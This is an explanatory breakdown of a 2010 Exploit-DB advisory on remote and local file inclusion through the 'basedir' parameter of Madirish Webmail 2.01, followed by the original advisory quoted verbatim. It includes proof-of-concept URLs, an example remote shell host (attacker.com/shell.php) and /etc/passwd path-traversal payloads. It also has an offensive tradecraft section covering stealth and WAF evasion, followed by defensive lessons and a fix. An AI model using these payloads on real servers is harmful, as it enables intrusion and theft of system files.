Madirish Webmail 2.01 'basedir' File Inclusion Explained

What this paper is

This paper details a Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerability in Madirish Webmail version 2.01. The vulnerability stems from how the application handles a parameter named basedir, which is used to include other PHP files. The author, eidelweiss, demonstrates that by manipulating this basedir parameter, an attacker can force the application to include arbitrary local files (LFI) or remote files (RFI), potentially leading to code execution. The paper also notes that a previous fix in version 2.0 was incomplete, leaving the vulnerability exploitable in 2.0.1.

Simple technical breakdown

The core of the vulnerability lies in the use of the basedir variable within PHP require_once statements.

• require_once($basedir."lib/sql.php"); and require_once($basedir."lib/html.php");: These lines in lib/addressbook.php and index.php (among others) are intended to include necessary library files.
• The Problem: If the basedir variable is not properly sanitized and can be controlled by user input (e.g., via a URL parameter), an attacker can change what files are included.
• RFI: By setting basedir to a URL pointing to a malicious PHP script on another server, the attacker can have that script executed on the target server.
• LFI: By setting basedir to a path pointing to a sensitive local file (like /etc/passwd) or a web-accessible file that can be manipulated, the attacker can read its content or potentially execute it.
• register_globals: The paper explicitly states that successful exploitation requires register_globals to be enabled in the PHP configuration. This PHP setting makes external variables (like URL parameters) automatically available as global variables, which is crucial for this exploit to work directly.

Complete code and payload walkthrough

The exploit paper provides snippets of vulnerable code and proof-of-concept (PoC) URLs. There is no executable exploit code or shellcode provided in the raw text, only the demonstration of the vulnerability through URL manipulation.

Vulnerable Code Snippets:

1. Madirish_Webmail/lib/addressbook.php:

/*
require_once($basedir."lib/sql.php");
require_once($basedir."lib/html.php");
*/

• require_once($basedir."lib/sql.php");: This line attempts to include the sql.php file. It prepends the value of the $basedir variable to the filename. If $basedir is controlled by the user and register_globals is on, an attacker can manipulate $basedir.
• require_once($basedir."lib/html.php");: Similar to the above, this line includes html.php using the $basedir variable.

2. Madirish_Webmail/index.php:

/*
require_once ("inc/config.php");	//<= 1
require_once ($basedir."lib/html.php");
require_once ($basedir."lib/common.php");	//<=2
*/

• require_once ("inc/config.php");: This is a standard include and not directly part of the basedir vulnerability.
• require_once ($basedir."lib/html.php");: Again, this line includes html.php using the $basedir variable, making it susceptible to manipulation.
• require_once ($basedir."lib/common.php");: This line includes common.php using the $basedir variable, also vulnerable.

Proof-of-Concept (PoC) URLs:

1. RFI PoC:

http://127.0.0.1/Madirish_Webmail/lib/addressbook.php?basedir= [sh3ll inj3ct0r]

• http://127.0.0.1/Madirish_Webmail/lib/addressbook.php: This is the target URL pointing to the vulnerable script.
• ?basedir=: This indicates the basedir parameter is being passed via the URL.
• [sh3ll inj3ct0r]: This is a placeholder. In a real RFI attack, this would be a URL pointing to a remote PHP file containing malicious code (e.g., http://attacker.com/shell.php).
  • Behavior: When the addressbook.php script executes, it will encounter require_once($basedir."lib/sql.php");. If $basedir is set to http://attacker.com/shell.php?, the require_once statement effectively becomes require_once("http://attacker.com/shell.php?lib/sql.php");. PHP's allow_url_fopen and allow_url_include settings (which are often enabled by default or in older configurations) would allow it to fetch and execute the remote script. The ? at the end of the attacker's URL is a common technique to prevent the appended path (lib/sql.php) from being interpreted as part of the filename on the attacker's server, ensuring only the intended malicious script is executed.

2. LFI PoC:

http://127.0.0.1/Madirish_Webmail/index.php?basedir= [LFI]%00

• http://127.0.0.1/Madirish_Webmail/index.php: The target vulnerable script.
• ?basedir=: The vulnerable parameter.
• [LFI]: This is a placeholder for the path to the local file the attacker wants to read or include. Examples include:
  • ../../../../etc/passwd (to read the password file)
  • ../../../../var/log/apache2/access.log (to read web server logs, potentially containing session IDs or other sensitive info)
  • ../../../../path/to/another/php/file.php (to include and execute another local PHP file)
• %00: This is the URL-encoded null byte.
  • Behavior: The null byte is crucial for LFI in this context. When the script executes require_once($basedir."lib/html.php");, if $basedir is set to ../../../../etc/passwd%00, the effective path becomes ../../../../etc/passwd\x00lib/html.php. The null byte terminates the string at that point, causing PHP to include ../../../../etc/passwd instead of trying to include a file named ../../../../etc/passwd\x00lib/html.php. This allows the attacker to bypass intended file inclusion and read arbitrary local files.

Payload/Shellcode:

The paper does not contain any specific shellcode bytes. The "payload" in this context refers to the crafted URL that exploits the vulnerability. For RFI, the payload is a URL to a remote malicious script (e.g., a PHP web shell). For LFI, the payload is a path to a local file, often terminated by a null byte.

Mapping:

• require_once($basedir."lib/sql.php"); / require_once($basedir."lib/html.php"); / require_once($basedir."lib/common.php"); -> Practical Purpose: These are standard PHP include statements. The vulnerability lies in the fact that $basedir is not validated, allowing it to be controlled by user input via URL parameters when register_globals is enabled.
• ?basedir= -> Practical Purpose: This is the URL parameter used to inject malicious input into the $basedir variable.
• [sh3ll inj3ct0r] (in RFI PoC) -> Practical Purpose: Represents a URL to a remote PHP script that the attacker controls, intended to be fetched and executed by the vulnerable server.
• [LFI] (in LFI PoC) -> Practical Purpose: Represents a path to a local file on the vulnerable server that the attacker wishes to read or execute.
• %00 (in LFI PoC) -> Practical Purpose: A null byte used to terminate the string after the desired local file path, preventing the appended default filename (lib/html.php, etc.) from being included.

Practical details for offensive operations teams

• Required Access Level: Network access to the target web server. No prior authentication is typically required if the vulnerable script is accessible publicly.
• Lab Preconditions:
  • A target environment running Madirish Webmail version 2.01.
  • PHP configured with register_globals = On. This is a critical prerequisite. Older PHP versions (prior to 5.3) were more likely to have this enabled.
  • PHP configured with allow_url_fopen = On and allow_url_include = On for RFI to be successful.
  • A web server (e.g., Apache, Nginx) serving the Madirish Webmail application.
• Tooling Assumptions:
  • A web browser for manual testing or a web vulnerability scanner that can be configured to test for LFI/RFI.
  • Tools like curl or Burp Suite for crafting and sending custom HTTP requests.
  • A remote server to host RFI payloads (if attempting RFI).
• Execution Pitfalls:
  • register_globals: If register_globals is Off (the default and recommended setting in modern PHP), this specific vulnerability is not directly exploitable via URL parameters. The attacker would need to find other ways to inject into $basedir, perhaps through other vulnerable parameters or application logic.
  • PHP Configuration: allow_url_fopen and allow_url_include being Off will prevent RFI.
  • Path Traversal Restrictions: Web Application Firewalls (WAFs) or server configurations might block common path traversal sequences (../). Obfuscation techniques might be needed.
  • Null Byte Filtering: Some systems might filter or not properly handle null bytes, rendering the LFI PoC ineffective.
  • Application Logic: The $basedir variable might be used in conjunction with other logic that sanitizes it or restricts its value, even if register_globals is on.
  • Version Specificity: The vulnerability is explicitly stated for version 2.01. Older or newer versions might not be affected.
• Tradecraft Considerations:
  • Reconnaissance: Confirm the target application version and PHP configuration (phpinfo() page is ideal if accessible).
  • Payload Delivery: For RFI, ensure the remote payload is hosted securely and is designed to be stealthy if necessary. For LFI, consider what sensitive files are likely present and accessible.
  • Post-Exploitation: If RFI leads to code execution (e.g., a web shell), the attacker can then proceed with further actions. LFI is primarily for information disclosure unless combined with other vulnerabilities that allow execution.
  • Stealth: Avoid overly noisy requests. Use targeted requests and observe responses carefully.

Where this was used and when

• Context: This vulnerability was found in Madirish Webmail, a PHP-based webmail client. It would be exploited against any server hosting this specific version of the application.
• Approximate Dates: The paper was published on April 24, 2010. Therefore, the vulnerability was actively discussed and likely exploited around this period and potentially for some time afterward until the application was patched or updated by users.

Defensive lessons for modern teams

• Input Validation is Paramount: Never trust user input. Always validate and sanitize all external data, especially parameters used in file operations or database queries.
• Disable register_globals: This PHP setting is a significant security risk and should always be disabled. If legacy applications require it, isolate them or implement compensating controls.
• Secure PHP Configuration:
  • Disable allow_url_fopen and allow_url_include unless absolutely necessary, and even then, use them with extreme caution and strict validation.
  • Regularly review and harden PHP configurations.
• Use Relative Paths Safely: When using variables in file paths, ensure they are strictly controlled and do not allow traversal (../) or inclusion of arbitrary files. Use absolute paths or well-defined relative paths.
• Principle of Least Privilege: Ensure the web server process runs with minimal necessary permissions to limit the impact of any file inclusion or other vulnerabilities.
• Web Application Firewalls (WAFs): While not a silver bullet, WAFs can help detect and block common LFI/RFI patterns. However, they can be bypassed.
• Regular Patching and Updates: Keep web applications and their underlying software (PHP, web server) updated to the latest secure versions. The paper itself notes that a vendor fix was incomplete, highlighting the importance of thorough security testing after patches.

ASCII visual (if applicable)

This vulnerability is primarily about how a web server processes a URL and includes files. An ASCII diagram can illustrate the flow of data and execution.

+-----------------+       +-----------------+       +-----------------+
| Attacker's      | ----> | Web Server      | ----> | Madirish Webmail|
| Browser/Tool    |       | (e.g., Apache)  |       | Application     |
+-----------------+       +-----------------+       +-----------------+
        |                                                     |
        | 1. Sends HTTP Request                               |
        |    (e.g., GET /Madirish_Webmail/index.php?basedir=...) |
        |                                                     |
        +----------------------------------------------------->
                                                              |
                                                              | 2. Application receives request
                                                              |    and parses parameters.
                                                              |    'basedir' is set to user input.
                                                              |
                                                              v
                                                      +-----------------+
                                                      | PHP Interpreter |
                                                      +-----------------+
                                                              |
                                                              | 3. Executes PHP code.
                                                              |    'require_once($basedir . "lib/common.php");'
                                                              |    (If basedir = "../../etc/passwd%00")
                                                              |    -> include("../../etc/passwd")
                                                              |
                                                              v
                                                      +-----------------+
                                                      | File System     |
                                                      +-----------------+
                                                              |
                                                              | 4. Reads local file (e.g., /etc/passwd)
                                                              |    or fetches remote file (RFI).
                                                              |
                                                              v
                                                      +-----------------+
                                                      | PHP Interpreter |
                                                      +-----------------+
                                                              |
                                                              | 5. Returns content of the
                                                              |    included file in HTTP response.
                                                              |
                                                              v
+-----------------+       +-----------------+       +-----------------+
| Attacker's      | <---- | Web Server      | <---- | Madirish Webmail|
| Browser/Tool    |       | (e.g., Apache)  |       | Application     |
+-----------------+       +-----------------+       +-----------------+
        ^                                                     ^
        | 6. Receives HTTP Response                             |
        |    (containing sensitive file content or shell output)|
        +-------------------------------------------------------+

Source references

• Paper ID: 12369
• Paper Title: Madirish Webmail 2.01 - 'baseDir' Local/Remote File Inclusion
• Author: eidelweiss
• Published: 2010-04-24
• Paper URL: https://www.exploit-db.com/papers/12369
• Raw URL: https://www.exploit-db.com/raw/12369

Original Exploit-DB Content (Verbatim)

=====================================================
Madirish Webmail 2.01 (basedir) RFI/LFI Vulnerability
=====================================================
 
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ########################################          1
0                    I'm eidelweiss member from Inj3ct0r Team          1
1                    ########################################          0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
 
Download:	http://sourceforge.net/projects/madirishwebmail/files/madirish_webmail/2.01/Madirish_Webmail.tgz/download
 
Author:		eidelweiss
Contact:	eidelweiss[at]cyberservices.com
Thank`s:    	r0073r & 0x1D (inj3ct0r) , JosS , exploit-db team , [D]eal [C]yber
		sp3x (securityreason) And All Friends.
 
	Successful exploitation requires that "register_globals" is enabled. 	
 
========================================================================
 
Description:
 
Madirish Webmail is a PHP based email agent (with an Address Book and Calendar) primarily used to access a POP3 account via the web.
The system uses MySQL and PHP, and while developed for Linux, will probably work on other platforms.
 
========================================================================
 
	-=[ VULN C0de ]=-

There is a vulnerability in almost every file directory , for example in this Directory file:

[-] Madirish_Webmail/lib/addressbook.php

*/
require_once($basedir."lib/sql.php");
require_once($basedir."lib/html.php");

*************************************************
[!]This other sample vuln c0de which affected to LFI [!]
*************************************************

[-] Madirish_Webmail/index.php

*/
require_once ("inc/config.php");	//<= 1
require_once ($basedir."lib/html.php");
require_once ($basedir."lib/common.php");	//<=2	
========================================================================
 
	-=[ P0C RFI ]=-

	http://127.0.0.1/Madirish_Webmail/lib/addressbook.php?basedir= [sh3ll inj3ct0r]

	-=[ P0C LFI ]=-

	http://127.0.0.1/Madirish_Webmail/index.php?basedir= [LFI]%00

	etc, etc, etc

========================================================================

NB:
There is a vulnerability in almost every file directory of Madirish Webmail v2.01.
Vendor fix the vulnerability in version 2.0 and update to v2.0.1
But vendor not perfectly fix the vulnerability , they just edit the code to handle Remote file inclusions,
but as we see still have RFI vulnerability and now i see possible LFI there.

Solution: Fix / Edit the code or update to new version if available, Example:

*/
require_once($basedir."lib/sql.php");	// change into require_once("Madirish_Webmail/lib/sql.php");
require_once($basedir."lib/html.php");	// change into require_once("Madirish_Webmail/lib/html.php");

=========================| -=[ E0F ]=- |=================================